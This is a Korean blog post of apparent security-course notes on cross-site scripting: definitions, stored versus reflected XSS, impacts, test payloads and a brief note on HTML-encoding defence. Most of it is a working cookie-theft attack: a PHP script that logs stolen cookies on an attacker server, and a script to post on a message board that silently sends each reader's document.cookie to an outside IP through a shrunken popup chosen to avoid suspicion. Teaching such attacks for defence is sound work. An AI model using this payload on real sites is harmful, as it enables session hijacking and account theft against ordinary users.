2014. 10. 30. 14:15
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

XSS

cross site scripting  



css와 헛갈리지 않기 

client side script 



--------------



XSS

스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작외에 

부정적으로 일어나는 액션



피해 

-> 웜, 바이러스 배포

-> 세션 재사용 공격 -> 쿠키값으로 공격, 쿠키 탈취 

-> CSRF 공격 -> 크게 다르지 않지만 공격 소스가 다름 

-> 피싱공격



1. 공격측 서버 구축 ampsetup

2. 클라이언트에서 특정한 값을 파라미터로 넘겨줄때 받아서 저장하는 프로그램 작성

    cookie.php




<? 


$cookie=$_GET['data'];   // GET 방식으로 데이터를 쿠키에 저장

 

$atime=date("y-m-d H:i:s");    // 값을 넘겨 받았을 때 시간(년-월-일 시:분:초)


$log=fopen("data.txt","a");     //파일이 없으면 파일 생성 후 작성, 

   파일이 있으면 마지막 포인트로 가져가 작성


fwrite($log,$atime." ".$cookie."\r\n");     //해당 변수에 저장된 내용 작성


fclose($log);    //해당 파일 작성 끝(닫기)


echo "<img src=http://공격측 IP/i2sec.jpg width=220 height=150></img>"; 

//해커 서버에 있는 이미지 출력 


?>   //php 작성종료





3. 게시판 업로드 할 코드

    board.txt


<html>


<head>i2sec</head>


<title>i2sec edu</title>      


<script>window.open("http://192.168.0.140/cookie.php?data="+document.cookie,"small","width=150,height=220,scrollbars=no,menubar=no")</script>                                           

//window.open: 새로운 윈도우 창

window.open("url","창이름","옵션")

즉, 인터넷창을 열어 이 글을 읽는 유저의 쿠키값을 data에 넣어 공격자IP/cookie.php에 보내는 코드 



-> 팝업창 이름  "small"


-> 의심받지 않기 위해 크기를 줄여 주는 옵션 

     "width=150,height=220,scrollbars=no,menubar=no"


</html>


xss.zip




---------------------



Stored XSS

게시물과 같은 DB에 저장되는 형태 




Reflective XSS

클라이언트에서는 보이지만 서버에 저장되지 않음

공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출 

-> 검색창에 직접 <script>구문을 작성 



----


1. xss 정의 (whar?: 공격에 대한 정의 )

 : 스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작 외에 부정적으로 일어나는 행위 

   (순수하게 제공되는 동작: 관리자가 의도한 기능 ex) 게시판 글 작성, 파일 업로드 등..)



2. 왜 발생하나?(why?:발생 이유)

    html 사용

    -> 모든 파라미터에 대해 검사를 할 수 없기 때문에 발생 

    피해자는 누구인가?(who)

    -> 관리자, 사용자 



3. 취약점 존재 유무 확인은 어떻게 하나?

    (attack test: 존재 유무확인/공격방법 확인)

    <script>alert("test")</script>

    <script>alert(document.cookie)</script> 


테스트 할 수 있는 곳: 검색란, 글 작성 시-내용, 제목, 작성자 

회원정보 수정-주소 




4. 어떠한 영향이 일어나나? (impact: 문제/영향)

- 웜, 바이러스 발생

- 세션 하이재킹(세션 재사용)공격 -> 쿠키 탈취 

- csrf공격으로 이어짐 (xss 존재시 90%정도 발생함)

   -> 큰 틀은 비슷하나 공격 코드가 조금 다름 



5. 어떤 방법으로 방어를 하나? (security:보안 대책)

- html encoding으로 방어 (html 화이트 리스트 방식)

















'Web' 카테고리의 다른 글

CSRF  (0) 2014.11.05
CSRF  (0) 2014.11.04
tools and searching vulnerabilities  (0) 2014.10.29
googling  (0) 2014.10.28
session and cookie  (0) 2014.10.27
Posted by af334